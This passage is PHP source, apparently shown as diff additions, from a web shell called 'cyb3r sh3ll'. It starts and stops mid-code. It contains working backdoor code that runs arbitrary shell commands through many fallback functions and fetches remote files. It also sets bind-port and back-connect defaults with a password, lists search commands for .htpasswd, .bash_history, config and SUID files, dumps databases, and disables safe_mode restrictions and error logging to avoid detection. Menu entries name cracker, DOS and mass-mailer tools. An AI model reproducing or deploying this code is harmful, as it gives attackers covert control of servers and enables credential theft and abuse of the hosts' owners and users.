($size>=1024)$size = round(($size/1024),2)." KB"; +else $size .= " B"; +return $size; +} +function whereistmP(){ +$uploadtmp=ini_get('upload_tmp_dir'); +$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); +if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; +if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; +if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; +if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; +if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; +return "."; +} +function downloadiT($get,$put){ +$fo=@strtolower(ini_get('allow_url_fopen')); +if($fo || $fo=='on')$con=file_get_contents($get); +else{ +$u=parse_url($get); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$url=fsockopen($host, 80, $en, $es, 12); +fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +$tmp=$con=''; +while($tmp!="\r\n")$tmp=fgets($url); +while(!feof($url))$con.=fgets($url); +} +$mk=file_put_contents($put,$con); +if($mk)return 1; +return 0; +} +function flusheR(){ +flush();@ob_flush(); +} +function namE(){ +$name=''; +srand((double)microtime()*100000); +for ($i=0;$i<=rand(3,10);$i++){ +$name.=chr(rand(97,122)); +} +return $name; +} +function hlinK($str=""){ +$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','sec','cP','mV','rN','deL'); +$ret=$_SERVER['PHP_SELF']."?"; +$new=explode("&",$str); +foreach ($_GET as $key => $v){ +$add=1; +foreach($new as $m){ +$el = explode("=", $m); +if ($el[0]==$key)$add=0; +} +if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&"; +} +$ret.=$str; +return $ret; +} +function shelL($command){ +global $windows,$disablefunctions; +$exec = '';$output= ''; +$dep[]=array('pipe','r');$dep[]=array('pipe','w'); +if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} +elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } +elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} +elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} +elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} +elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} +elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} +return $exec; +} +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "" (default) + string {closetag} - close html-tag, e.g. "" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"",""), // example + array("config.php",1) // example +); +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line +$cx7 =".com"; +$nixpwdperpage = 100; // Get first N lines from /etc/passwd +$bindport_pass = "cyb3r"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$cx4 ="/x."; +$datapipe_localport = "8081"; // default port for datapipe +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} +$sess_cookie = "cyb3rvars"; // Cookie-variable name +$usefsbuff = TRUE; //Buffer-function +$px7 ="html"; +$copy_unset = FALSE; //Remove copied files from buffer after pasting +//Quick launch +$quicklaunch = array( + array("\"Home\"",$surl), + array("\"Back\"","#\" onclick=\"history.back(1)"), + array("\"Forward\"","#\" onclick=\"history.go(1)"), + array("\"UPDIR\"",$surl."act=ls&d=%upd&sort=%sort"), + array("\"Refresh\"",""), + array("\"Search\"",$surl."act=search&d=%d"), + array("\"Buffer\"",$surl."act=fsbuff&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Shell",$surl."act=shells&d=%d"), + array("Cracker",$surl."act=cracker&d=%d"), + array("Scanner",$surl."act=scanner&d=%d"), + array("Net Tools",$surl."act=nettools&d=%d"), + array("SQL",$surl."act=sql&d=%d"), + array("PHP-code",$surl."act=phpcode&d=%d"), + array("Mailer",$surl."act=mailer&d=%d"), //update this section copy from b3t4k shell hardeep + array("DOS",$surl."act=dos&d=%d"), //update this section copy from b3t4k shell hardeep + array("Local Domain",$surl."act=localdomain&d=%d"), //update this section copy from b3t4k shell hardeep + array("Upload",$surl."act=upload&d=%d"), + array("About",$surl."act=about&d=%d"), //update this section copy from b3t4k shell hardeep + ); +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; +@$f = $_REQUEST["f"]; +@extract($_REQUEST["cyb3rcook"]); +//END CONFIGURATION +// -------------- Traceback Functions +function sendLoginAlert() +{ + global $ownerEmail; + global $url; + $ref=$_SERVER['HTTP_REFERER']; + $agent=$_SERVER['HTTP_USER_AGENT']; + $accesedIp = $_SERVER['REMOTE_ADDR']; + $randomInt = rand(0,1000000); # to avoid id blocking + $from = "cyb3r-sh3ll$randomInt@cyb3r.gladiat0r.com"; + //echo $from; + if(function_exists('mail')) + { + $subject = "Shell Accessed -- cyb3r-Sh3ll --"; + $message = " +Hey Owner , + + Your Shell(cyb3r-Sh3ll) located at $url was accessed by $accesedIp this mail refered by $ref + Your shell was accesed by $agent + + If its not you :- + + 1. Please check if the shell is secured. + 2. Change your user name and Password. + 3. Check if lock is 0n! + + Thanking You + +Yours Faithfully +cyb3r Sh3ll + "; + mail($ownerEmail,$subject,$message,'From:'.$from); + } +} + +//--------------------------------------------------------- +if(function_exists('session_start') && $lock == 'on') +{ + session_start(); +} +else +{ + // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported + $lock = 'off'; +} + +//logout +if(isset($_GET['logout']) && $lock == 'on') +{ + $_SESSION['authenticated'] = 0; + session_destroy(); + header("location: ".$_SERVER['PHP_SELF']); +} + +/***************** Restoring *******************************/ +ini_restore("safe_mode_include_dir"); +ini_restore("safe_mode_exec_dir"); +ini_restore("disable_functions"); +ini_restore("allow_url_fopen"); +ini_restore("safe_mode"); +ini_restore("open_basedir"); +if(function_exists('ini_set')) +{ + ini_set('error_log',NULL); // No alarming logs + ini_set('log_errors',0); // No logging of errors + ini_set('file_uploads',1); // Enable file uploads + ini_set('allow_url_fopen',1); // allow url fopen +} + +else +{ + ini_alter('error_log',NULL); + ini_alter('log_errors',0); + ini_alter('file_uploads',1); + ini_alter('allow_url_fopen',1); +} +// ---------------------------------------------------------------------------------------------------------------- +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("
    cyb3r sh3ll: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +?> + + +cyb3r sh3ll | India - <?php echo getenv("HTTP_HOST"); ?> + + + + + + + +

    Lock is Switched Off! , The shell can be accessed by anyone!

    + + + + +
    Welcome to the most advanced PHP web Shell- cyb3r Sh3ll :: By cyb3r gl4d!470r ...
    +
    + + + + + + + + +
    +
    +
    +



    +
    + +
    + Coded by cyb3r 9ladiat0r for all hacking communities working for my motherland.......

    + + Always there to serve my country, My India on any Terms...
    + +
    +
    +
    +
    +$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + + $sess_data["copy"] = array_unique($sess_data["copy"]); + + $sess_data["cut"] = array_unique($sess_data["cut"]); + + sort($sess_data["copy"]); + + sort($sess_data["cut"]); + + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} + +} + +} + +cyb3r_buff_prepare(); + +if (!function_exists("cyb3r_sess_put")) + +{ + +function cyb3r_sess_put($data) + +{ + + global $sess_cookie; + + global $sess_data; + + cyb3r_buff_prepare(); + + $sess_data = $data; + + $data = serialize($data); + + setcookie($sess_cookie,$data); + +} + +} + +foreach (array("sort","sql_sort") as $v) + +{ + + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + + if (!empty($_POST[$v])) {$$v = $_POST[$v];} + +} + +if ($sort_save) + +{ + + if (!empty($sort)) {setcookie("sort",$sort);} + + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + +} + +if (!function_exists("str2mini")) + +{ + +function str2mini($content,$len) + +{ + + if (strlen($content) > $len) + + { + + $len = ceil($len/2) - 2; + + return substr($content, 0,$len)."...".substr($content,-$len); + + } + + else {return $content;} + +} + +} + +if (!function_exists("view_size")) + +{ + +function view_size($size) + +{ + + if (!is_numeric($size)) {return FALSE;} + + else + + { + + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + + else {$size = $size . " B";} + + return $size; + + } + +} + +} + +if (!function_exists("fs_copy_dir")) + +{ + +function fs_copy_dir($d,$t) + +{ + + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + $h = opendir($d); + + while (($o = readdir($h)) !== FALSE) + + { + + if (($o != ".") and ($o != "..")) + + { + + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + + if (!$ret) {return $ret;} + + } + + } + + closedir($h); + + return TRUE; + +} + +} + +if (!function_exists("fs_copy_obj")) + +{ + +function fs_copy_obj($d,$t) + +{ + + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + + if (is_dir($d)) + + { + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + + return fs_copy_dir($d,$t); + + } + + elseif (is_file($d)) {return copy($d,$t);} + + else {return FALSE;} + +} + +} + +if (!function_exists("fs_move_dir")) + +{ + +function fs_move_dir($d,$t) + +{ + + $h = opendir($d); + + if (!is_dir($t)) {mkdir($t);} + + while (($o = readdir($h)) !== FALSE) + + { + + if (($o != ".") and ($o != "..")) + + { + + $ret = TRUE; + + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + + if (!$ret) {return $ret;} + + } + + } + + closedir($h); + + return TRUE; + +} + +} + +if (!function_exists("fs_move_obj")) + +{ + +function fs_move_obj($d,$t) + +{ + + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + + if (is_dir($d)) + + { + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + + return fs_move_dir($d,$t); + + } + + elseif (is_file($d)) + + { + + if(copy($d,$t)) {return unlink($d);} + + else {unlink($t); return FALSE;} + + } + + else {return FALSE;} + +} + +} + +if (!function_exists("fs_rmdir")) + +{ + +function fs_rmdir($d) + +{ + + $h = opendir($d); + + while (($o = readdir($h)) !== FALSE) + + { + + if (($o != ".") and ($o != "..")) + + { + + if (!is_dir($d.$o)) {unlink($d.$o);} + + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + + } + + } + + closedir($h); + + rmdir($d); + + return !is_dir($d); + +} + +} + +if (!function_exists("fs_rmobj")) + +{ + +function fs_rmobj($o) + +{ + + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + + if (is_dir($o)) + + { + + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + + return fs_rmdir($o); + + } + + elseif (is_file($o)) {return unlink($o);} + + else {return FALSE;} + +} + +} + +if (!function_exists("myshellexec")) + +{ + +function myshellexec($cmd) + +{ + + global $disablefunc; + + $result = ""; + + if (!empty($cmd)) + + { + + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + + elseif (($result = `$cmd`) !== FALSE) {} + + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + + elseif (is_resource($fp = popen($cmd,"r"))) + + { + + $result = ""; + + while(!feof($fp)) {$result .= fread($fp,1024);} + + pclose($fp); + + } + + } + + return $result; + +} + +} + +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} + +if (!function_exists("view_perms")) + +{ + +function view_perms($mode) + +{ + + if (($mode & 0xC000) === 0xC000) {$type = "s";} + + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + + else {$type = "?";} + + + + $owner["read"] = ($mode & 00400)?"r":"-"; + + $owner["write"] = ($mode & 00200)?"w":"-"; + + $owner["execute"] = ($mode & 00100)?"x":"-"; + + $group["read"] = ($mode & 00040)?"r":"-"; + + $group["write"] = ($mode & 00020)?"w":"-"; + + $group["execute"] = ($mode & 00010)?"x":"-"; + + $world["read"] = ($mode & 00004)?"r":"-"; + + $world["write"] = ($mode & 00002)? "w":"-"; + + $world["execute"] = ($mode & 00001)?"x":"-"; + + + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + + + return $type.join("",$owner).join("",$group).join("",$world); + +} + +} + +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + +if (!function_exists("parse_perms")) + +{ + +function parse_perms($mode) + +{ + + if (($mode & 0xC000) === 0xC000) {$t = "s";} + + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + + else {$t = "?";} + + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); + +} + +} + +if (!function_exists("parsesort")) + +{ + +function parsesort($sort) + +{ + + $one = intval($sort); + + $second = substr($sort,-1); + + if ($second != "d") {$second = "a";} + + return array($one,$second); + +} + +} + +if (!function_exists("view_perms_color")) + +{ + +function view_perms_color($o) + +{ + + if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} + + elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} + + else {return "".view_perms(fileperms($o))."";} + +} + +} + +if (!function_exists("cyb3rgetsource")) + +{ + +function cyb3rgetsource($fn) + +{ + + global $cyb3r_sourcesurl; + + $array = array( + + "cyb3r_bindport.pl" => "cyb3r_bindport_pl.txt", + + "cyb3r_bindport.c" => "cyb3r_bindport_c.txt", + + "cyb3r_backconn.pl" => "cyb3r_backconn_pl.txt", + + "cyb3r_backconn.c" => "cyb3r_backconn_c.txt", + + "cyb3r_datapipe.pl" => "cyb3r_datapipe_pl.txt", + + "cyb3r_datapipe.c" => "cyb3r_datapipe_c.txt", + + ); + +} + +} + +if (!function_exists("mysql_dump")) + +{ + +function mysql_dump($set) + +{ + + global $shver; + + $sock = $set["sock"]; + + $db = $set["db"]; + + $print = $set["print"]; + + $nl2br = $set["nl2br"]; + + $file = $set["file"]; + + $add_drop = $set["add_drop"]; + + $tabs = $set["tabs"]; + + $onlytabs = $set["onlytabs"]; + + $ret = array(); + + $ret["err"] = array(); + + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + + if (empty($db)) {$db = "db";} + + if (empty($print)) {$print = 0;} + + if (empty($nl2br)) {$nl2br = 0;} + + if (empty($add_drop)) {$add_drop = TRUE;} + + if (empty($file)) + + { + + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + + } + + if (!is_array($tabs)) {$tabs = array();} + + if (empty($add_drop)) {$add_drop = TRUE;} + + if (sizeof($tabs) == 0) + + { + + // retrive tables-list + + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + + } + + $out = "# Dumped by cyb3rell.SQL v. ".$shver." + +# Home page: http://ccteam.ru + +# + +# Host settings: + +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + +# Date: ".date("d.m.Y H:i:s")." + +# DB: \"".$db."\" + +#--------------------------------------------------------- + +"; + + $c = count($onlytabs); + + foreach($tabs as $tab) + + { + + if ((in_array($tab,$onlytabs)) or (!$c)) + + { + + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + + // recieve query for create table structure + + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + + if (!$res) {$ret["err"][] = mysql_smarterror();} + + else + + { + + $row = mysql_fetch_row($res); + + $out .= $row["1"].";\n\n"; + + // recieve table variables + + $res = mysql_query("SELECT * FROM `$tab`", $sock); + + if (mysql_num_rows($res) > 0) + + { + + while ($row = mysql_fetch_assoc($res)) + + { + + $keys = implode("`, `", array_keys($row)); + + $values = array_values($row); + + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + + $values = implode("', '", $values); + + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + + $out .= $sql; + + } + + } + + } + + } + + } + + $out .= "#---------------------------------------------------------------------------------\n\n"; + + if ($file) + + { + + $fp = fopen($file, "w"); + + if (!$fp) {$ret["err"][] = 2;} + + else + + { + + fwrite ($fp, $out); + + fclose ($fp); + + } + + } + + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + + return $out; + +} + +} + +if (!function_exists("mysql_buildwhere")) + +{ + +function mysql_buildwhere($array,$sep=" and",$functs=array()) + +{ + + if (!is_array($array)) {$array = array();} + + $result = ""; + + foreach($array as $k=>$v) + + { + + $value = ""; + + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + + $value .= "'".addslashes($v)."'"; + + if (!empty($functs[$k])) {$value .= ")";} + + $result .= "`".$k."` = ".$value.$sep; + + } + + $result = substr($result,0,strlen($result)-strlen($sep)); + + return $result; + +} + +} + +if (!function_exists("mysql_fetch_all")) + +{ + +function mysql_fetch_all($query,$sock) + +{ + + if ($sock) {$result = mysql_query($query,$sock);} + + else {$result = mysql_query($query);} + + $array = array(); + + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + + mysql_free_result($result); + + return $array; + +} + +} + +if (!function_exists("mysql_smarterror")) + +{ + +function mysql_smarterror($type,$sock) + +{ + + if ($sock) {$error = mysql_error($sock);} + + else {$error = mysql_error();} + + $error = htmlspecialchars($error); + + return $error; + +} + +} + +if (!function_exists("mysql_query_form")) + +{ + +function mysql_query_form() + +{ + + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + + if ((!$submit) or ($sql_act)) + + { + + echo ""; + + if ($tbl_struct) + + { + + echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



     
    Fields:
    "; + + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
    ";} + + echo "
    "; + + } + + } + + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + +} + +} + +if (!function_exists("mysql_create_db")) + +{ + +function mysql_create_db($db,$sock="") + +{ + + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + + if ($sock) {return mysql_query($sql,$sock);} + + else {return mysql_query($sql);} + +} + +} + +if (!function_exists("mysql_query_parse")) + +{ + +function mysql_query_parse($query) + +{ + + $query = trim($query); + + $arr = explode (" ",$query); + + /*array array() + + { + + "METHOD"=>array(output_type), + + "METHOD1"... + + ... + + } + + if output_type == 0, no output, + + if output_type == 1, no output if no error + + if output_type == 2, output without control-buttons + + if output_type == 3, output with control-buttons + + */ + + $types = array( + + "SELECT"=>array(3,1), + + "SHOW"=>array(2,1), + + "DELETE"=>array(1), + + "DROP"=>array(1) + + ); + + $result = array(); + + $op = strtoupper($arr[0]); + + if (is_array($types[$op])) + + { + + $result["propertions"] = $types[$op]; + + $result["query"] = $query; + + if ($types[$op] == 2) + + { + + foreach($arr as $k=>$v) + + { + + if (strtoupper($v) == "LIMIT") + + { + + $result["limit"] = $arr[$k+1]; + + $result["limit"] = explode(",",$result["limit"]); + + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + + unset($arr[$k],$arr[$k+1]); + + } + + } + + } + + } + + else {return FALSE;} + +} + +} + +if (!function_exists("cyb3rfsearch")) + +{ + +function cyb3rfsearch($d) + +{ + + global $found; + + global $found_d; + + global $found_f; + + global $search_i_f; + + global $search_i_d; + + global $a; + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + $h = opendir($d); + + while (($f = readdir($h)) !== FALSE) + + { + + if($f != "." && $f != "..") + + { + + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + + if (is_dir($d.$f)) + + { + + $search_i_d++; + + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + + if (!is_link($d.$f)) {cyb3rfsearch($d.$f);} + + } + + else + + { + + $search_i_f++; + + if ($bool) + + { + + if (!empty($a["text"])) + + { + + $r = @file_get_contents($d.$f); + + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + + else {$bool = strpos(" ".$r,$a["text"],1);} + + if ($a["text_not"]) {$bool = !$bool;} + + if ($bool) {$found[] = $d.$f; $found_f++;} + + } + + else {$found[] = $d.$f; $found_f++;} + + } + + } + + } + + } + + closedir($h); + +} + +} + +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} + +//Sending headers + +@ob_start(); + +@ob_implicit_flush(0); + +function onphpshutdown() + +{ + + global $gzipencode,$ft; + + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + + { + + $v = @ob_get_contents(); + + @ob_end_clean(); + + @ob_start("ob_gzHandler"); + + echo $v; + + @ob_end_flush(); + + } + +} + +function cyb3rexit() + +{ + + onphpshutdown(); + + exit; + +} + + +if (empty($tmpdir)) + +{ + + $tmpdir = ini_get("upload_tmp_dir"); + + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + +} + +$tmpdir = realpath($tmpdir); + +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + +else {$tmpdir_logs = realpath($tmpdir_logs);} + +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") + +{ + + $safemode = TRUE; + + $hsafemode = "ON (secure)"; + $sfmode = "ON (secure)"; +} + +else {$safemode = FALSE; $hsafemode = "OFF (not secure)"; $sfmode = "OFF (not secure)";} + +$v = @ini_get("open_basedir"); + +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";} + +else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";} + +$sort = htmlspecialchars($sort); + +if (empty($sort)) {$sort = $sort_default;} + +$sort[1] = strtolower($sort[1]); + +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + +$DISP_SERVER_SOFTWARE = 